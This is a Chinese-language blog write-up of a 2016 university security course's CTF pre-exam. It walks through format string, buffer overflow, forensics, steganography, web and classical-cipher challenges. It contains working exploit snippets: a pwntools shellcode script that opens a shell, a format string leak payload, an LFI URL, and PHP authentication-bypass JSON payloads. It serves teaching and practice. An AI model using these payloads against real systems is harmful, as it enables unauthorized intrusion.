Computer Security 2016 Fall Pre-exam Writeup

7 minute read

這門課程是台大、交大、台科大一起合作的課程(好像還有中央?),但它不是傳統資安課,而是有點像教你怎麼打 CTF。

想修的人非常多,所以當然助教、老師們就弄了一個 homework 0 的 pre-exam,那我就來寫個 write-up。

我沒解出來的有 Crypto、Stego 這兩題,是依靠同學的幫忙、提示才成功破關的,要感謝的人太多了。

Format String

93 solves / 234· Pwnable · 100 pt

This service provide the flag when entering the correct password.

直接 decompile 它,這隻 binary 會先從 /dev/urandom 讀 4 個 bytes 到一個整數 password,然後先問你名字 (有 format string vulnerability),再請你輸入密碼,密碼經過atoi()後如果正確就會 cat flag

問名子的地方還會先用 strncmp() 比較開頭四個字元是否為 ddaa,可能是 ddaa 出的?

所以簡單的思路是,可以把 password 透過 format string leak 出來,或是直接把它寫成已知的值。我覺得這兩者差不多,不如就好好的把它 password leak 出來吧

因為這是 x64 的 binary,參數傳遞跟 32 bit 不一樣,並不會全部用 stack 傳,一開始被這個雷了一下,之後再寫一篇好好搞懂發生什麼事情。

Payload: ddaa %d.%d.%d.%d.%d.%d.%d ,最後一個 %d 印出來的就是題目 random 讀的 password,也可以直接 ddaa %7$d

P.S. 聽陳同學說這題可以用寫入的方式,改 GOT ,並覆蓋記憶體來拿到 shell,不過我功力尚淺,暫時無法做到……. 如果成功了再來發一篇 Advanced format string vulnerability 的文章

Disk Image Forensic

81 solves / 234· Forensic · 100 pt

xenial.img is a broken disk image.
Repair it and find the AES-128-CBC encrypted file named flag.enc with the passphrase "flag" 

給了一個 img 檔,先用 fdisk -l ./xenial.img 看一下裡面有什麼:

Disk ./xenial.img: 2.2 GiB,  2361393152 bytes,  4612096 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 0892A335-E45E-4972-BA34-2308A543FE68

Device          Start     End Sectors  Size Type
./xenial.img1  206848 4612062 4405215  2.1G Linux filesystem
./xenial.img15   2048  204800  202753   99M EFI System

再來就把它 mount 起來吧, mount -o loop -o offset=$[512*206848] ./xenial.img ./mnt

稍微翻一下 home 就會找到題目說的flag.enc,然後看一下發現格式有些問題,忘記 base64 了,所以要幫它一下: cat flag.enc | base64 | openssl aes-128-cbc -d -a -pass pass:flag

得到 flag !

P.S. 我不知道這個硬碟壞在哪裡……

Image Stego

26 solves / 234· Misc · 100 pt

Some messages are hidden in this image. Try to find them.

Hint

We used an old school trick to hide data in image and even Wikipedia mentions it. 

https://en.wikipedia.org/wiki/Steganography

最難的一題,雖然有 26 個人解出來,但我還是認為這題很通靈,依我的實力是看不出來的……

首先直接 binwalk + stegsolve 起手式看一遍,沒什麼收穫,於是開始懷疑是像素被動了手腳。

我這時候就去 Google 以圖搜圖!成功找到一張一樣大小的原圖,但沒想到這張圖竟然是壞的,好像被 jpeg 破壞壓縮了第二次,因此跟題目的圖片 diff 沒有什麼線索。

後來才知道真正的原圖在 flickr 上,subtract/xor 之後可以看到很明顯有些 red plane 0 (紅色 LSB) 跟 blue plane 0 (藍色 LSB) 被改過了 1 像素,再加上 wiki 也有提到把資料藏在 LSB 的技術,果斷確定這是重點。

再來,用 stegsolve 仔細看 red plane 0,會看到奇怪的黑線 (bit = 1),就猜想這裡會是 ASCII value,因為很多 printable ASCII 的第 2 個 bit 都是 1 (從 MSB 往 LSB 數,例如 a, b, c 都是)。

還沒完,注意看圖的右邊,黑線非常靠近邊界,這時就要猜到這些 bit 恐怕是被反了過來,例如原本是 01001110 的字,在這張圖變成了 01110010

還沒完,觀察 blue plane 0,會看到這些線跟 red plane 0 似乎有些交錯,由此可以猜到,或許是要把兩個 plane 交錯抽取出來。

最後靠著 Python PIL 的幫忙,抽出一個一個 bit 變成字,再過一層 base64 -d 解開壓縮檔 之後就會看到 flag。

Buffer Overflow & x86 Shellcode

62 solves / 234· Pwnable · 100 pt

簡單的 Buffer Overflow 跑 shellcode 的題目。給的 binary 基本上就是 read 一個字串到 global 的 char array ,然後用危險的 strcpy() 把它複製到 stack 上,所以這裡可以輕鬆蓋掉 return address。

再來,這個題目很好心,NX bit 是關閉的,這表示我可以不需要用 NOP slide 去賭猜中 stack address!只要讓 return address 跳到 global 的 char array 上執行就好。

Payload:

from pwn import *
padding = 'A' * 18

# NX is disabled
# 0x804a060 is the start addr of char array
ret_addr = p32(0x804a060 + len(padding) + 4) 

shellcode = asm(shellcraft.i386.linux.sh())
sock.sendline(padding + ret_addr + shellcode)

Corgi Download Center

169 solves / 234· Web · 50 pt

一開始登入他有提示 My password is very simple,只要敲 123456 或是 password之類的簡單密碼就可以過了,再來的提示是 Only Google or robot may found the flag.

這很明顯要我們看 robots.txt!果然在裡面發現一個奇怪的 Allow: /dl.php,當然是連上去看看有什麼東西,結果只是一堆 Corgi 圖片的下載連接,像這樣:http://csie.ctf.tw:10122/dl.php?mod=dl&file=corgi-cute.jpg

再來看一下這個 dl.php 的 source 有沒有什麼重要的東西,發現 comment 裡藏了一個 <!-- flag.php -->,那很明顯就是這個檔案了。

最後,利用剛剛 dl.php 的連接 http://csie.ctf.tw:10122/dl.php?mod=dl&file=corgi-cute.jpgLFI 漏洞,拿到 flag.php 的 source code,payload: http://csie.ctf.tw:10122/dl.php?mod=dl&file=flag.php

Login As Admin

129 solves / 234· Web · 50 pt

這題大概是 Inndy 或熱愛他的人(?)出的吧,網站風格跟他的 Wargame Please hack me 很像,這題的漏洞也是 AIS3 2016 Final 的一題 Web 一樣。

網站有給 php source code,擷取一下精華片段:

if(!empty($_POST['data'])) {
  try {
    $data = json_decode($_POST['data'], true);
  } catch (Exception $e) {
    $data = [];
  }
  extract($data);
  if($users[$username] && $users[$username] == $password) {
    $user = $username;
  }
}

這裡看上去有兩個漏洞,第一個 extract($data) 可以變數覆蓋 ,再來是 $users[$username] == $password 只有兩個 = 的弱型別比對問題。

Method 1

因為$users[$username] == $password 只有兩個 = ,是弱型別比對,加上它用 json 去 decode 我們 POST 的資料,所以可以想辦法讓 $password 等於 booleantrue,就會過了! Payload: {"username":"admin", "password":true}.

P.S. 這裡正確寫法應該是用三個 = ,還要檢查 type(強型別比對)才正確。

Method 2

既然有 $extract() 我們就可以覆蓋變數,那就把 $users 陣列直接蓋一蓋吧,payload:{"username":"admin","password":"123","users": {"admin":"123"}}

Cipher

71 solves / 234· Crypto · 100 pt

Here are some classical cipher. Pass all round and get the flag.

很煩的一題,總共有八關(Stage 0 ~ Stage 7),解完之後就有 flag,據說是教授出的。

Stage 0

Round 0: 7468616e6b7320746f20796f75206269672c2068756c6b696e672c20636869636b656e2d68656172746564206d656e2e205765276c6c20686176652074686174206368657374
thanks to you big, hulking, chicken-hearted men. We'll have that chest

Round 1: 63616d6520616c726561647920746f206f757220656172732c20616e64206173207765206c6f6f6b6564206261636b20696e20746865697220646972656374696f6e2c2061

把 ASCII 用 hex 表示,直接 printf "CIPHERTEXT" | xxd -r -p decode

Stage 1

Round 0: c3RydWdnbGVkIHRvIHdpdGhkcmF3LCBidXQgdGhlIGJsaW5kIG1hbiBwdWxsZWQgbWUgY2xvc2UgdXAgdG8gaGltIHdpdGg=
struggled to withdraw, but the blind man pulled me close up to him with

Round 1: aGUgd2FzIGFzIGRydW5rIGFzIGV2ZXI7IGFuZCBpdCB3YXMgc2hvY2tpbmcsIGluIHRoYXQgaG91c2Ugb2YgbW91cm5pbmcs

看到結尾的 = 就猜 base64, printf "CIPHERTEXT" | base64 -d

Stage 2

We found one pair of messages and the corresponding ciphertexts.

m0 = open, if we die for it. And I'

c0 = lkvm, ru dv wrv uli rg. Zmw R'


c1 = sv xlmgrmfvw rm gsv kovzwrmt g

What is m1?

觀察一下字母的 ASCII value 位移順序,可以發現是 Atbash Cipher,用 26 去減即可得明文

Stage 3

We found one pair of messages and the corresponding ciphertexts.

m0 = he struck at them right and le

c0 = vs ghfiqy oh hvsa fwuvh obr zs


c1 = zsu, W kog tof zsgg otfowr ct

What is m1?

一樣觀察字母的位移量,發現是經典的 Caesar Cipher

Stage 4

We found one pair of messages and the corresponding ciphertexts.

m0 = you or I. The man has had a st

c0 = lyj py O. Bfa rax ukh ihj i qp


c1 = "Ay, cp, uu, vm; wsd ka oce vl

What is m1?

觀察字母偏移量,發現固定一段之後就會開始重複。這有點像進階的凱薩加密,稱作 Vigenère cipher,也是非常經典。

Stage 5

We found several pairs of messages and the corresponding ciphertexts.

They are all encrypted using a stream cipher and the same key.

m0 = and seek help in the neighbour

c0 = e28a4156823f8dac56ede68855569834c8b31ee0a38a401f96328aa803f7

m1 = was to now, you see. But you w

c1 = f48556568535c8a919f2afc45c19847a9ba213aba3a65002d12387b256f2

m2 = Boy, take his left hand by the

c2 = c18b5c5ad12e89ac13a5eb8d56569d3f8eb356ede28a41569323c8b31ee0


c3 = e48b5156907a8ba618e1ef81051f9f7a9caf13a5e185575ad13b86a356ed

What is m3?

這題資歷不足,我卡在這裡好幾天,如果你觀察位移會發現有些有規則,有些卻沒有;它一樣是一個字一個字加密的,位置相同、且一樣的字,密文是一樣的。

題目敘述有說是 classical cipher,所以這題事實上是 XOR cipher,直接 XOR 回去就可以拿到 key,解開密文。

如果有觀察 bit 的話,會更容易發現這是 XOR Cipher,聽說 XOR 在 CTF 裡是很基本的起手式……

Stage 6

We found one pair of messages and the corresponding ciphertexts.

m0 = The hamlet lay not many hundred yards away, though

c0 = Tt dshh mr oelaeau andwghyy aha  yymnha,lour etndt


c1 = hgdlnha oegatfwt t an f hl,irdal toveh mineh n  at

What is m1?

稍微觀察會發現,字串只是被打亂了順序,猜測是某一種 Transposition Cipher,把它寫在紙上之後,觀察字的位置,似乎是用 column / row 的方向去讀,wiki 上叫做 Columnar Transposition

加密原理很簡單,就把它從上到下,每 n 個字換行寫出來之後,從 column 的方向去讀即為密文,例如範例中的 (m0, c0):

The hamle
t lay not
 many hun
dred yard
s away, t
hough

Stage 7

Find an input m such that MD5(m) starts with the given bits.

The input length should be less than 20.

Round 0: the first two byte (in hex) of MD5(m) = fe4d

What is m?

考 md5,希望弄出前 2 個byte指定值符合它答案的 m,稍微估算一下 2^(8*2) = 65536 ,代表用暴力算出所有可能值並不困難,而且可以事前算好。

最後得到 flag。